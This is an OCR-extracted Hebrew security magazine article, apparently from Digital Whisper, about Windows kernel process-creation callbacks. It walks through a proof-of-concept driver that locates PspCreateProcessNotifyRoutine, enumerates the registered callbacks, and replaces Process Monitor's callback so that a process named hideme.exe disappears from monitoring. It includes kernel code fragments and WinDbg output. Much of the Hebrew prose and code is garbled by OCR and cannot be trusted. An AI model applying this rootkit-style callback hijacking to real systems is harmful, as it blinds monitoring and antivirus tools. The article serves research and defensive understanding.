Y' N2 TN IR 12'0'D 0T 7702 .9"10 0NN NITIR "M'YYY 17NN [IWRIN A7UN IN DD0N NT 770

[N DNAW NIPDL 1D0NI 07> 1DoN 1Ma¥N L-.NET UP"N9 W 1INK7? NOTIN VIXA Nyd NWa?

N NRIYAE NIRMYN NITRY MY 2V 121y ,9012 .0'¥911 D'7IWON 7V 12ann? nin v wnnwnY

.ON'IN M"Y XY 7NNN AT N201 1Y NN 7D nn'l

[N N1, AWNAN 7Y Yyl D1NVI'RNN YIN RIN D'Y¥AF 17'R,0N' 1IN 7W INN0VN NN D021 XN 77N

JUNVO NINY YIX NV [NV TINDY
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Now You See Me, Now You Don't

nwn 78T XN

NIan

nd> ,N75NN NdYN1 0NN DY 07 7D NAMDA IWRIN PN PIOY' XAn nNNn
07701 N>WNA DD'70NNN NIT'WO 75 NN DMVIN TWKX DN Antivirus 1NdI Sysinternals-n Procmon
YI'R 7D 1017 D'NYXN IMTYAY 12T W 7R 0707 7' nnin'm '7nnin DR 1INYY 0r7a10n oA

.0D"70N7 NN

N1'Yo ,M00"11 win'w ,(Threads) D11D'70N DA X7X DD'7NNN 'WN'R IR D0 71 K7 19X DY)
D'¥a 72V 1101 .qwnna 101 DYV 1A Callbacks niyynxa yxann Nt 0 LCTIVIE Images

.NKN2 1101 X7 nY7vwY File System Minifilter Drivers T 7y ,NNNK 0T2 y¥aNNn

N> ,0'2'70N MY NNVINN NIMDINY [12'0 V¥ MWK 7D NA'MdA PI0Y] MNRNN 7¥W v 17702
[210' AXII'Y 70NN YNT7 7'NN' DT yalpw Dy 7511 WRN 17 INY DY 197 10 *700 .0TIR 11N20nY
JN0INN NdDYNAN TPONN NY*A97 DMNA7 72 7'a010 NV 070NN IRY X AVs-Nnl 110N YN
-N 7V Hook-2 lynnwn ,0aya (AV-n pnnNin? IXY' WWR Rootkits D'wnnwn 795 012 1T np'dva
-NY I NP DRT NIWYY? N X7 PatchGuard-n 9722 DD X 178 D'k 017 1> SSDT
N7 PatchGuard-niI DI'D NTAIY 1ARN2 NN20INN NV'WN .SSDT-2 0"'11'w 1Yl K7W pT1A PatchGuard
NXWN Dy BSOD 7apn md>ynn MDA Nyl ANt PatchGuard-n 12 a¥xna .AnIk DoOIN

.CRITICAL_STRUCTURE_CORRUPTION

.Windows-7 0™2*T nandal C NowAa YT WAT 17X 072 AN Y1121 0N 1ANd' 17X 0'7)
-7 179017 DM2MTN .12 NN20IMY NIV'YAT IMNRAN DX 207 T 178 D'RYIN '0'0 YT WM
XIN - Driver Signature Enforcement) DSE-n N9'jy'7 nion"nn n'n'n X7 1xn X Windows7 x64
D2 .(D'INN X7 DN2MIT NI'WO Yam WWR Windows-7 x64 NIXOY'A DY XAW NDIYN7 N1an qoin

.BCDEdit Nn11ya Boot-n NINTANA TESTSIGNING 7w n'¥9DIXN NX TWONI D'MAMT N1'WL TWOKRY
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Process Monitor na'md

NNd>1 NNT NIYYY? N1 .NDWwNA Process 7w N0 IX N'Y' 701 117 ynin? 110X QM1 TWK 70
NIYY7 'O .NINK NU'YWA YNNI 11KRNA R SSDT Hooking 0T DA NNTPN2A N20INY 10D NIV'Y
AWNDI NDYNA NINWNIN N9 |0 Callbacks-n .Kernel-mode callback routines-2 wnnwi NNt

JIVXANN [N 12 7907 NNTAM [0 WK DIoN VKR MR

7¢ NY01 MY 11D NDWNA NPY 00N D'YIN'R 7V NRANN 7277 1O Callbacks-2 wnnwin'? NN
70X DWINR 7Y ARONN 727 1D TIVE Registry-2 win'y 7y ,0M10'70N 7Y 02 oAl 07NN
2212 1'70N 120! IXK WXI'Y DYD 701 YNNW D719 NNINAL Nown? 17w callback-n nX 9roInY

YNIRN Y wnnwn? ynnY

VN7 N9O0I1 NYAID DIWAYT M1 NNAI9 707 D'axn 7w vn In7 0mwnl nd>wna Callbacks-n

INTD X' N7W NNTANNW PsSetCreateProcessNotifyRoutine n'¥j71191 wnnen

PsSetCreateProcessNotifyRoutine function

04/30/2018 - & 2 minutes to read

The PsSetCreateProcessNotifyRoutine routine adds a driver-supplied callback routine to, or removes it from, a list of routines to be

called whenever a process is created or deleted.

Syntax

NTKERNELAPI NTSTATUS PsSetCreateProcesshotifyRoutine(
PCREATE_PROCESS_NOTIFY_ROUTINE MNotifyRoutine,
BOOLEAN Remove

)i

Parameters

NotifyRoutine

Specifies the entry point of a caller-supplied process-creation callback routine. See PCREATE PROCESS NOTIFY ROUTINE.

Remove

Indicates whether the routine specified by NotifyRoutine should be added to or removed from the system’s list of notification
routines. If FALSE, the specified routine is added to the list. If TRUE, the specified routine is removed from the list.

:(NTSTATUS a10n) NXY TIZ NY'TANI DI0NTD YW N727N0 N'Y7190
.D'70NNN NIT'WD 7V YN IR NOYTY 7Y DX1190 KIN [IYRIN 10N1ON @

q'oIn? Ik wnnn n7w Callback-n NX 7INN% N¥11 DX MINY IR KID YD 0NION @

ANIR
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XIN TNX .NTNI'Y ODWY7 NIYOIX QW 0 DIW' NTSTATUS a10n XIN N¥21900n ITINN )N
STATUS_INVALID_PARAMETER XIn Wil ,NN¥N2 N90INN N'Nj190 TWKRD STATUS_SUCCESS
NIXPAD TV 9'0INYT DIPN |'K1 X701 WNNY IX )IVN2 DNIYY 12D %2119 DNIK TWRD ITNI'Y
NNX TV Windows 7 NI'¥j119 6 1yN2 W' 970 10T UKD 64 RIN wnn v fmopmin 771a0)

.(0"7 X0 DX Windows Defender 7w

:Callbacks-n 7wn7 q'onl T2 AN NNIR N7YW D190 7¢ DTANN 7V 7DN01 nwd

PCREATE_PROCESS NOTIFY ROUTINE callback
function

04/30/2018 - @ 2 minutes to read

Process-creation callback implemented by a driver to track the system-wide creation and deletion of processes against the driver's

internal state.

Warning The actions that you can perform in this routine are restricted for safe calls. See Best Practices.

Syntax

PCREATE_PROCESS_NOTIFY ROUTINE PcreateProcessNotifyRoutine;

void PcreateProcesshotifyRoutine(
HANDLE ParentId,
HANDLE ProcessId,
BOOLEAN Create

)
{2}

Parameters
ParentId

The process ID of the parent process.
ProcessId

The process ID of the process.
Create

Indicates whether the process was created (TRUE) or deleted (FALSE).

.NITN Y AT K71 DM0NI9 3 Napn NYaIoN

XN IR 1201 17NN NI 79 AR 17000 7Y Process ID-N RIN [IWRIN 10N19N @
XN IR 1202 170NN YW Process ID-N KN IWN N0NT9N e

XD IX 1201 70NN OX MIRY IR KIN 'WHUN 10NTON e
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0'9T1 oI .(X¥N1 IX NA01) 17w 2¥NN DRI )'70NN 7w Process ID-n NI 0'9TNY7 7212 17w nrxj7119a

17w PID-n T YW Exe-n 7w (X700 2'NIN) Inw DX DA

'70N 207 1A nrpw EPROCESS n1ann 0T )'7nN7 Handle a'wa 2'7'Nn ,2Man DX XYINY 'RTD
N'¥2219N NITYA exe-n 7W 1MW NX 7RUNA DTIPn 172'7w Handle-a wnnwa ,pn X7 .yw

2 AR A7 wimmin .ZwQuerylnformationProcess
CreateProcessNotify(HANDLE

i
NTSTATUS status =
PUNICODE_STRING procName =
HANDLE hProc = F
PEPROCESS eproc =
PVOID info;
ULONG retlen = 8;

status = PslLookupProcessByProcessTd( » %eproc);
( (status))

status = ObOpenObjectByPointer(eproc, @, ., 8, 8, KernelMode, &hProc);
(! (status))

\

{
DbgPrint(“0ObOpenObjectByPointer Failed : ¥88X\r\n", status);
primt;

(eproc);

DbgPrint("PsLookupProcessByProcessId Failed: ¥88x\n", status);
print;

status = ZwQueryInformationProcess(hProc, ProcessImageFileMame, s 8, &retlen);

info = ExAllocatePoolWithTag(NonPagedPool, retlen,
(info == )

J

print;

status = ZwQueryInformationProcess(hProc, ProcessImageFileMame, info, retlen, &retlen);
(! (status))

ExFreePoolWithTag(info,
print;

¥

procName = (PUNICODE_STRING)info;
( )
DbgPrint(“Process ¥wZ created\r\n”, procName);
awZ ended\rin”, procName);

F}

)

DbgPrint(“Process ¥d created\r\n");

DbgPrint(“Pro %d ended\r\n");
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iverUnload = DriverUnload;

ateProcessNotifyRoutine(CreatePro

tu

rUnload

DbgPrint(
Notify,

nowna n7w Callback-n NX DIWNL N2 TN YW Unload-n N'¥j119 NIK 1'TA1 12'TN Nwod
NYI NIRAY 7271 K7W 1D Callback-n NX 7nna "2 TR W ARy (Wi Jun19a FALSE 1)
X1 7NN AWROY NIRATZ 111 MdNT7 IMIR (IY071 NIIDIN DNTANN OY 12'YTR DR 791077 N2
DbgPrint N'¥j72190 MY NINYYWIY NIYTINN N727) .07 YN'R 7Y ARINN 073 13X 12011
Enable Verbose nni Capture Kernel nraxnn nX 7'wo1l Sysinternals 7w DbgView "1 wnnwa

32 NININ ARYINNI DbgView NN9l N2 TR NX v .( Kernel Output

fL Winuuws 1 0.1.70043

Ve
ght <(c) 2089 Mic ft Corporation. All rights

\Daniel> art procmon

: 1 KERNEL_DRIVER
: 4 RUNNING
(STOPPABLE. NOT_PAUSABLE, IGNORES_SHUTDOUN)
: 8 (Bx8
: 8 (Bx8>
C : Bx8
WAIT_HINT : Bx0
PID B
FLAGS ]

s\Daniel>

— —
# DebugView on \WIN-PPLUPRHDIN? (local) I I |

File Edit Capture Options Computer Help

FEE RBF A EBT| 9P | M |
# Time Debug Print

7 19.81900787 Process \Device\HarddiskVolu Program Files\Sublime Text 3\sublime text.exe ended

8 2 rocess \Device\HarddiskVolt am Files\Sublime Text 3\plugin host.exe ended

9 2 Process \Device\HarddiskVol: n Files\Google\Chrome\Application\chrome.exe created

10 21. Process Files\Google\Chrome\Application\chrome.exe created

I || 22 Process n Files\Google\Chrome\Application\chrome.exe created

12 23 Process » Files\Google\Chrome\Application\chrome.exe created

13 26.04939270 Process \Device\HarddiskVolt Files\Google\Ch e\Application\chrome.exe created

14 26.77666092 Process \Device\HarddiskVolt n Files\Google\Chrome\Application\chrome.exe created

15 26.78490257 Process \Device\HarddiskVolumel » Files\Google\Chrome\Application\chrome.exe created

16 29.04214096 Process \Device\HarddiskVolum n Files\Google\Chrome\Application\chrome.exe ended -
17 29.06599045 Process \Device\HarddiskVolt n Files\Google\Chrome\Application\chrome.exe ended 1
18 29.30588531 Process \Device\HarddiskVolt Files\Google\Chrome\Application\chrome.exe ended

19 29.51719284 Process \Device\HarddiskVo n Files\Google\Chrome\Application\chrome.exe ended

20 29.85699272 Process \Device\HarddiskVol » Files\Google\Chrome\Application\chrome.exe ended

21 29.86762810 rocess \Device\HarddiskVolti m Files\Google\Chrome\Application\chrome.exe ended

22 29.87076759 Process \Device\HarddiskVolumel\Program Files\Google\Chrome\Application\chrome.exe ended
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7¢ N7NNNN 1201 IR XD P7NNN OXR YT YW exe-n 7@ K70 QM) 0'9 TN KINY NIKT7 N1
NI C-1 MIWRIN DX'NNN DA 1A 70T TWXNN DXV XN ,\Device\HarddiskVolumel ,2'min

.Sysinternals 7w WinObj *70n NIy¥xnX2 NRT NIXTYT |¥1 .NXRTN NX'NNnY SybolicLink

| . WinObj - Sysinternals:

File View Help

- L \ Mame ¢ Type SymLink i
ol ArcName [BACPEFiedButton#2...  SymbolicLink \Device\0000005e E
5 'E:E::E”Edomem [# AcPizGenuinelntel -_.. SymbolicLink "\ Device\00000054 M
‘ ' Device @ACPI#GenuineIntel_-_... SymbelicLink *Device\00000055
L Harddiskd [@] AcPrEPNPO30324809... SymbalicLink \Device\000000a6
' Hetp [@]AcPrPNPOSO1Z1#{4d... SymbalicLink \Device\000000aa
L de [@] AcPr2PNPOSO1#1#(86... SymbalicLink \Device\000000aa
----- . Driver [@] AcPEVMWO0032481... SymbalicLink " Device\000000a7
.. || FileSystem @Agile‘u‘PN Symboliclink "Device\AgileVPN
..... . GLOBAL?? @AscKmd SymbolicLink YDevice\AscKmd
..... . KernelObjects SymbolicLink Y DosDevices\COML
----- , KnownDlls SymbolicLink " Device\HarddiskVolumel
----- . NLs Symboliclink "Device\CdRom0
-----  ObjectTypes SymbolicLink Device\Seriall
----- . RPC Control [#] CompositeBattery SymbolicLink \Device\CompositeBattery
----- | Security [# D SymbolicLink ‘Device\CdRemD
>~ ). Sessions [#pbgv SymbolicLink “Device\Dbgv
i~\d UMDFCommunicationParts [#|DISPLAY#Default_Mo... SymbolicLink \Device\000000af
> -l Windows [ DISPLAY#Default Mo... SymbolicLink " Device\000000af -
\GLOBALZAC:

7017 T N7WONN NDWN D'WNANWN AVs-1 Procmon 'R 11'RY ,INRNN 7Y IWURIN 17770 DID'0Y
Dy Threads 1Ay DA NIYY7 073" 11N 7QTH MK NIX 070N N0 NN DNIYRD DYV
X7 DY X ,TIVIE Images N1'WO ,M00'AN1 win'w Iy DAl PsSetCreateThreadNotifyRoutine

.NKRN] V9]

PsSetCreateProcessNotifyRoutine n'¥j1197 NaNTIM N'¥{7219 Nz90N NdDIWVAN L,I'RIW NN ol
-0 L IWRIN N0N9NY P2 MY 7w nTann PsSetCreateProcessNotifyRoutineEx NX1jw
DNINY X7 21WUN 77 ,2'NN] K7 "7V IR OINXR DNVNIS 7201 NI NYTan 7V 0a NI, Callback

212NN NIYRAIDY 1"'WY T191 11wn? 0wl 0xannin Callbacks

[11*ol n7yn? N201INY INd Mg 9w Callback 7w 11'0%7 PoC XIn 070N 'WN'R 7V Y¥1IW |11'0Nn

VIN' T 7Y INIR Y¥A7 [N YNN 1Y0IW 1'70NT7 nniT '70N 752 KIN DN0nnn 0NN IRYY

AYUNNd nWVIY N'Ta DNIR
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Procmon-7 [12'0 Na'MD

70X (070N 'WiNRY? Callback-2 wnnwnw ANK 73 727 IX) 11andw Procmon-47 |12'0 2IMd7 1D
NTAUY 'R 7DN01 D OW7 1R NWA7 'RERXNY 72T M2V wnn N9 7niv? an? o
Callback 7wn%? Diwn%? n'nn %Y n'oion Nvnn .PsSetCreateProcessNotifyRoutine n'¥j7119n
DIPNA YNN N7W 2¥72190 1*70N 79 v 701 0a1 Procmon 9w ntpa Callback-n nijpna n7w
INY NN RIXNNT7 "D 12 WANWNY NI WX M2 TIZ KID QMDY MR 770 .Procmon 7w n'¥i71190

NV N9 XY 7w DDWwNN

[ND'TA DX IPNYT T DAl NITAY NIYZI90 'K NIKN? 'O WinDbg-a wnnwa jnnn 17nna
Dy Windows 7 x64 a10n D'i722w N1dn7 Remote Kernel Debugging NNTVa NXT nwyal Ndyna

2NRNN 9102 )27 MW DY R NINT D120 DY 'R XD 1201 X7 .101wn7 0'71an'o

N1 ,PspCreateProcessNotifyRoutine :XIn mw ,Callbacks-n 7w 7vnn NX XIxn? X'n nNVn

:NTIPON oY Windbg NTya NNT NIKAY

X nt!PspCreateProcessNotifyRoutine

VN 7w IMaInd DX NIKAYZ DA DI

NTIPOA WNNWI W [2IN DX NIKAY T

dp PspCreateProcessNotifyRoutine

dp NTIPON .Prcomon 7w NIN DNRMAN INNRNE NN Diwan Callbacks-n MK NIXAY 7211 XD

.0'YraxNd [N2'72 0'2Y DNIX? Non'nn X'l display pointer 7w NIx'7 X0

W' NO'X WONII NWIY N'N NNl NTay PsSetCreateProcessNotifyRoutine 'R 717272 'nna nwd

17w NAIMDN NIX KIXNY 2210 DI Wn win'y

0: kd> u nt!PsSetlreateProcessHotifyRoutine

nt!PsSetCreateProcessNotifyRoutine:

FEFEFE00 " 02ed23c0 453320 HOXr r8d,r8d

fEfff800 " 02ed23c3 ef9=8fdffff Jmp nt!PspSetCreateProcessNotifyRoutine (f£££ff800°02ed21kb0)

0 64-1 D'VNION) .PspSetCreateProcessNotifyRoutine N'X¥j1197 NXOIZ N'¥I9NW NIXI? N1

.(u1 32-2 M> NoNNN T K71 DIV T DMLY
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17W NAIMDN DR R'NINT 721 ') VN Win'y W' N9'N WON'7 N¥11 NVD

nt ! PspSetCreateProcesslocifyRoutine+0x33:
FEfEFF300 02ed21e3 6€5488b3c2588010000 mov rdi,gword ptr gs:[188h]

EEfEFfF300 02ed2lec 83cBfE or eax, OFFFFFFFFh
FEffFf300° 02ed2lef €60185Tc4010000 add word ptr [rdi+lC4h],ax
EFEfEEE£300° " 02ed21f6 4c8d358355deff  1lea rl4, [nt'PspCreateProcessNotifyRoutine| (£££££f800°02c3bT780) ]

Y'Y 0I19TN NX UON'7 10X 17 NAINDN NN X'XINT T2 NYII VN WIN'Y W'y DITRA NIXYYT D0
7¢ N2IMdN DT NRY NNY YT TR 7WNn 197 U lea rl4 9w DrTIROIND IR WON1 Wi | TI7a

)2 NRT NWY1 .wnn

G564 FindPspCreateProcessNotifyRoutine()

| E
RtlInitUnicoc

pCheckArea

memcpy ( &off

pCheckArea

DbgPrint (" outine
(i = pCheckArea; i < pCheckfrea + @xff;

7w Callback-n X¥n1 N9'X NIXT7 1DIN2 D'RNN 72 7V 112V7 DX )wnn N2IMD DX 17 wen ,nyd

.N97v Callback-2 IMIx 9*2nin'71 Procmon

[> DXl Procmon 7¥ 12" TN 7@ NIAIMDN NIV X¥N1 XN DX 21M2 Callback 75 7y 11y ©wxd
& y¥a17 7oy Callback-n 7w n'xadn NAMd DX 72p7 'RT .N97Nnn NN97 K

;020 2w NN 0w Callback-nw 7722 NRT ,wna XN N2ImMdN 7y OxfIFFFfffffffffe

[/ Source: https://doxvgen.reactos.org/de/d22/ndk_Zextypes_8h_source.html#lees4s

ff/ Internal Callback Handle

typedef struct _EX_CALLBACK
{

EX_FAST_REF RoutineBlock;
} EX_CALLBACK, *PEX_CALLBACK;

nt!_EX_CALLBACK (15063.0.amd64fre.rs2_release.170317-1834).h hosted with W by GitHub view raw
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4

nt!_EX_CALLBACK

+8x 888

RoutineBlock

_EX_CALLBACK* CallBack

: Ptred
+@x888 RefCnt i Pos @,
+8xP88 Value ¢ UintaB

_EX_FAST_REF ReferencelObject

f We need to find the location of the actual

_EX_FAST_REF
{ are the "RefCnt".
/ 68 bits.
/ Strip off the "RefCnt" bits.

_EX_CALLBACK_ROUTINE_BLOCK* CallBackBlock

Getting an _EX_CALLBACK_ROUTINE_BLOCK from an _EX_C

. _EX_FAST_REF

&PspCreateProcesslotifyRoutine[Index];

Void

4 Bits

CallBack->*RoutineBlock;

"Object” from the

structure. This is a union, where the lower 4 bits

S0, this means we're interested in the remaining

(_EX_CALLBACK_ROUTIME_BLOCK#*)(Referencelbject.Value & @x
1

ALLBACK.cpp hosted with W by GitHub

view raw

Enumiotify(

INT i = @;
NotifyAddr

DbgPrint(
( !PspProc
8; 1 < 64; i++)
MagicPtr = PspProcess
NotifyAddr = b
(MmIsAddressvalid(

NotifyAddr
(Che

(Notif

DbgPrir

DbgPrint("[
OriginalCallback
OriginalPlace

N

DbgPrint(

)2 vXan!' AXINNXn vinn

MagicPtr = 8;
PspProcessNotifyRoutine

FindPspCreateProcessNotifyRouti

, PspProcessNotifyRoutine);

NotifyRoutine + i * 8;

icPtr);
NotifyAddr)

AddressToDriver

= * yAddr;
otifyAddr;
otifyAddr,

r routi

n", MotifyAddr);
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7v DN 7w namdn 0Nl ,0M0N% Y NN ANRAION .N97NNN NYYZII9Y 1Iay) Nyd
[12'0N N"¥7219 7 NAIMDN XN Wil PspCreateProcessNotifyRoutine 7vna Callback-2 Procmon
N71W9 nnwinn NX ny¥anw InterlockedExchange N'X¥j119N NIY¥NX2 NY¥anNn n97nnn .nw
Content N'N'w 720 TaynNd NYXINN NMILVKD N71V9N) .[N210 7w Nl A'nn X7Y T NMIVN
112D IMIX Y MIX DN WD 221 [N2TA ND0I N71¥9 YXANN K7W *Td Tl NIp'o9 ,switches

.(JnY2 nioMT 1v¥an' X71 T
12 v¥ann Callback 72 7w niaman nuo 7y npr1an

22 a¥''nn DRIVER_OBJECT 0p"aIXN NX 7I0X] 12T 722 7w niumdn Niv v 1aw? @1 ,n'wr)
AWK DriverStart XIn [IURIN .NRT NP'T27 11112V DAIYN DNYNA Y DT VPMAIN7 .NDYN AT
72T 7Y 17TIA DR Ax' WK DriverSize XIn WnIL|N2'TA 12 TN 7Y N7NNNN NAND DX XN
MIYXID DIN9 'MW QN2 AT YIXA? .02MTN 7 ND'T NIIMdN NN DX awn? 751 )1
niyxnxa (OBJECTDRIVER) N2 T 7w uZ™aIX? y'axnn DX 117 A'TNNI 12 TN DY DX N7apgn
2¢ vpmaIN? yravnn DR 72pn nwn nYon . ObReferenceObjectByName n'¥j71191 win'y
NXN) D'NAI90 DXRN PITANE D 197 IRK¥AYW Procmon 7w N'¥2119 NNIX 7W NQINDN DRI 12T

2T 7Y NIundDn NNHva

jectByname (F
¥
bjectByName - - . B,

*IoDriverObjectType, KernelMode, » BpReturnObject);

DbgPrint("ObReference

pReturn0

dressToDriver | PVOIDGS

17w [13'0N N"X2219 NKXR 2IND7 WXRW2 T 2N DK 112N0Y MNX ,t]IOJ'7

DRN 217271 170N 7W N0 IX DNXID 79 YR 73 79 1ay7 KN 0'7'9n namna Y7on rvan
IND N¥INN YAl 7w X700 2NN 197 Nyx¥ann np'Tan) 17w '7NNn KN 01 I XY 70NN
YIONN X7 X' DYZI9N DX IXY] 0IWO DT NINWN D RYNMIY Y02 L(IWRIN 7702 nyxaw

Y97 X7 0T X7 Nimwnl TN .(Usermode-2 yaw Procmon 7w Exe-n) n'Xj7'79XN%7
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NNIPNAN NAIMDN DX .Procmon 7w nr¥*798 117 axI1 1AY* D YyT'ANY D Procmon 7@ nAiznn
DY .NIXD N2 07 NP7 9011 121 N97NnN 197 71173 nINwNd 1inwa Procmon 7¢ nyon v
- X700 2N DY DY NPRAN NTIROd  TIPn N7'NN2 YTam 1NNt nxl IR exe-n

.N'7nNn2 \Device\Harddisk1\

NNN 1wl Kinl hideme.exe 17 'MXjI (MessageBox) nyTIn 17N y'9pnw exe 'MIX! np'Tan 7ava

)2 VXANN N'XI90 UIiN™M .np'1an 2wa 'non? nx ar Yalj? nX .C:

inalRoutine = OriginalCallback;
retur

PsLookupPr dyProcessId( s &eproc);
(stat
ointer(e
inter Failed
(eproc);

', status);

ProcessImageFileName, » 9, &returnedLength);

ExAllocatePoolWithTag(NonPagedPool, returnedlLength,

lame ==

oc, ProcessImageFileName, prochName, returnedLength, &returnedLength);

procName) ;
Jname - >Buffer, ) == @)
but hidden f
i
ExFreePoolWithTag(p

OriginalRoutine(

Now You See Me, Now You Don't
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:DriverUnload-1 DriverEntry NI'Yj72190 NIX A'¥1 12T T DI'OY

2'2Y) NI Procmon 7w _OBJECTDRIVER 0p"™aIN? yfaxnn DX 72j70 17¢ N0'DN NY¥191

.Callbacks-n 7w nj'127

"D Procmon 7¥ N'¥71190 NX 1yn? 'TNNYI 17w 107'90 NX N7 nx11 179 DI'on N''¥71191
-7 TIAM2 ,9NIWN DDA 0¥ 712 DNAMITN DW 7721) Blue Screen DA NINMAW IVXAN' RKIW
D 7w noME? DNan AR 7D ,17wn DIRIOYT NN AN W 7NN D% ow Usermode
X MW7 0¥2 DTN N97nnn X y¥a? 1 .(dmn Blue Screen-n on7 7ar'v nd>yvnn

.0"72172 DINWND YN AfnY NIpnn Callback-7 Naman NXIEIYNA IR DIpMN 7w Namon

2 AR DX NXI97 winnn

US status =
NG drvMName;
pProcmon =
-»*DriverUnload = DriverUnload;
RtlInitUnic

DbePrint("Try
pProcmon =

DbgPrint("Got Procmon

Enumiotify(pProcmon);

DriverUnload (P!

DbgPrint("Driver Unl

- ginalpiace, OriginalCallback);

o
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www.DigitalWhisper.co.il
38 2018 M210IX ,99 |I"72




Technologic

YNl IMIX 79171 17w 12'YT7 TIrn DR 2IMDY 1N'ow NINX

DTIVY DY D'70 DIY' INIK 7'NNnY1 Service NIX'™? WATY ININ 7'w9nY71 12T Iyo "1 :nwn

NITIPON NIVYNANA NINT NIWYY 'KTD cmd-2 Unnwn IX X 12N OSRLoader N> NXT NIWYY

:Service Nx'"7

sc create <service_name> binPath= <sys_file_path> type= kernel

:Service n7yonY

sc start <service_name>

.admin 7¥ NIXWIN DY YNT 71X DIRT NIYYY? "DOY "7 21wn

-N 7¥ 7ynn DR [INDT2 RN D 197 X MIZ AN AR Procmon Y™ 70 0TIp Y790 7w nprTaY
N90INA R'N 'R DX AXIN INX?E v Procmon W n'¥j119n NX TV 0w 'R Callbacks

:Procmon 7w 12" T7 NDUW NN K'Y wnY

0: kd> dp PspCreateProcessNHotifyRoutine

EEFFFR00 02282780 £EE££f8a0"0000884f £££fFfR20"0024849F
EEFFFR00 02282790 £EE££f8a0"002d6bef £E£££f£fR20"0031£36E
EEFFFR00 " 02c8a7al0 f£EE££f8a0°0033859f ££££fFfRa0"0614539F
EEFFFA00 0228270 £E£E£££f8a0"01k159Ff 00000000 Q0000000

nyd .(Windows Defender 7w TnXI n7von ndwn 7w 6) o'miwn Callbacks 7 720 10 7'on wvnin

VN ''UN DR NXNI Procmon NX YN

1: kd> dp PspCreateProcessHotifyRoutine

Eff£f800°02c8a780 L£f££££f8a0°0000884f £Lf£ff8a0°002d45845E
EEff£f800 " 02cB8a790 fffff8a0 002debcf £Efff8a0 0031f36f
Effff800 " 02cBaTald fffff8a0 0033859f £fffff8a0 0614a39f
Eff£f800 " 02cB8a7h0 fffffSaO‘OlblEEbf|fffff530‘02555c3f

.WinDbg natya NNt 71721 Procmon 7w NAIMDN N'N N90INNY NAIMDN

7Y nIuUmdn [0 N7K N2'MTN DNNY NANDN X7 [0 )vNna NIMNY TR AIvn nya
2V AND OxFFFFFFFFFFFFFFF8 y¥a%7 7"X NMipnn N2IMdN DR 72777 11 Callback-n 7w vjpraixn

:[27 0TI "201Inw N Callback-n 7w namdn

1: kd> 1ln poi (@@ (Oxfffff8a0 " 02585c3f & ~7))
Browse module
Set bu breakpoint

#%% ERRCR: Module load completed but symbols could not ke loaded for |[PROCHMONZ3.S5YS

1: kd> IlmDva Oxfffff880 048fdBf0
Browse full module list
start end module name
fEFFfEB0 " 048£f7000 f£EfFfFfBE0-04510000 PROCMONZ3 (no symbols)
Loaded symbol image file: PROCMONZ3.SYS
Image path: PROCMONZ3.S5YS
Image name: PROCHMONZ3.S5YS
Browse all glokal symbols functions data

2 2V YT INIR NN Procmon NNXAY NIRYYT [N 1'NOoN7 DX INIX YaIpn 7w nxdn nya
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File Edit Event Filter Tools Options Help

aTechnologic

EEIABE|IvAS B AN

PID Operation
1700 &Y Process Create

640 &Y Process Create
640 &Y Process Create

Process Name

Path

C:\Windows"explorer exe
C:\Windows system 32\DliHost exe
C:\Windows system 32\DliHost exe

-4 S/

Detail
PID: 3640, Comma...

PID: 3724, Comma...
PID: 3852, Comma...

1700 |—E‘ Process Create

C\hideme exe | PID: 3936, Comma...

416 & Process Create
640 &Y Process Create
532 &Y Process Create
532 &Y Process Create
4016 &% Process Create

‘LYGoogleUpdate. ..
i 532 &Y Process Create

t... B'services.exe
Daniel

C i \Windows"system32\conhost .exe
C:\Windows"system32\DllHost exe
C:\Program Files {x86)"Google'\Update'. ..
C\Windows"system32\sppsve exe
C:\Program Files {«86)"\Google'\Update'. ..
C:\Windows'\System32svchost exe

S5ES)

PID: 3944, Comma...
PID: 3520, Comma...
PID: 4016, Comma...
PID: 4048, Comma...
PID: 4060, Comma...
PID: 3132, Comma...

-

Test

—

Showing 10 of 169,951 events (0.00583%)

Backed by virtual memaory

Windows 7
Build 7601

AXI11 YD YAIZNW NNKR2 DR 'N0) INIX Yalpn DRI Procmon NIX WTNA Y 12 Tn MY XY

File Edit Event Filter Tools Options Help

22 7V YrTIn X% Procmon X '7nn

EH ABE(TAG B AN
PID Operation

1572 &Y Process Create
1700 &% Process Create
416 &% Process Create
936 &% Process Create
2688 &Y Process Create
2408 &% Process Create
2408 &Y Process Create
532 £ Process Create
640 &% Process Create
416 &% Process Create
936 &Y Process Create

S50

Time ... Process Name

13:23:..
13.23

T 'taskeng.exe

= Explorer EXE
13:23.... W corss.exe
13:23:... W svchost.exe
13:23:... Elicmd exe
13:23.... W' Searchindexer....
13:23:... T Searchindexer....
13.23 'services exe
13:25:... W' svchost.exe
13:25:... W' carss axe
13:25:... W' svchost.exe

omputer

i3

Daniel

Deetail

: 2776, Comma...
: 2688, Comma...
11284, Comma...
1344, Comma...
- 3248, Comma...
: 3084, Comma...
: 3544, Comma...
: 3476, Comma...
: 2568, Comma...
3312, Comma...
: 3612, Comma...

Result

SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

C:\Program Files («86)\Google"Update'. ..
C\Windows system 32'cmd exe
CAWindows'\system 32 conhost exe

C M\ Windows'\system 32 wuauch exe
C\Windows system 32'sc exe
CA\Windows'\eystem 32'SearchProtocal...
C\Windows'\system 32" SearchFitterHost ..
C:\Windows servicing' TrustedInstaller...
C\Windows"\eystem 32 DilHost exe
CA\Windows'\system 32 conhost exe
C:\Windows system 32 wbem \WMIADA. ..

——

Showing 11 of 256,905 events (0.0042%)

Backed by virtual memaory

Winde
Build 760

Now You See

Me, Now You Don't
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Did'o

N7 72 112N21 Nd>IYNA D'D'7NNN N0 DY X 0IA Procmon 11D 73 'R 17 N1 1nXNa
2V D'NIFT A'TNoONY? *TD N1 757 107'9 DTaND 'R XN ,NRNN 7Y 2wn 1R7Na1 N2 T NTya
Images ,Registry ,Thread-7 DA NIWY7 [N X 0'D'70NN7 DWN'RA P NYANYN IXN] .1D7W 70N

IDNNWNY 22T 7RIT 17 X7 DITINY QXN AR NIR DA 2071 071V 0T ANIK DTV LTIV

0790 narmda

NN

NRNN XYW 7Y 100 nin

e https://www.fireeye.com/blog/threat-research/2012/06/bypassing-process-monitoring.html

e https://www.triplefault.io/2017/09/enumerating-process-thread-and-image.html|?m=1

e https://docs.microsoft.com/en-us/sysinternals/

e https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntddk/nf-ntddk-

pssetcreateprocessnotifyroutine

:DINN X7 02T [IY0Y7 12 TESTSIGNING n'¥9IXN N7YON

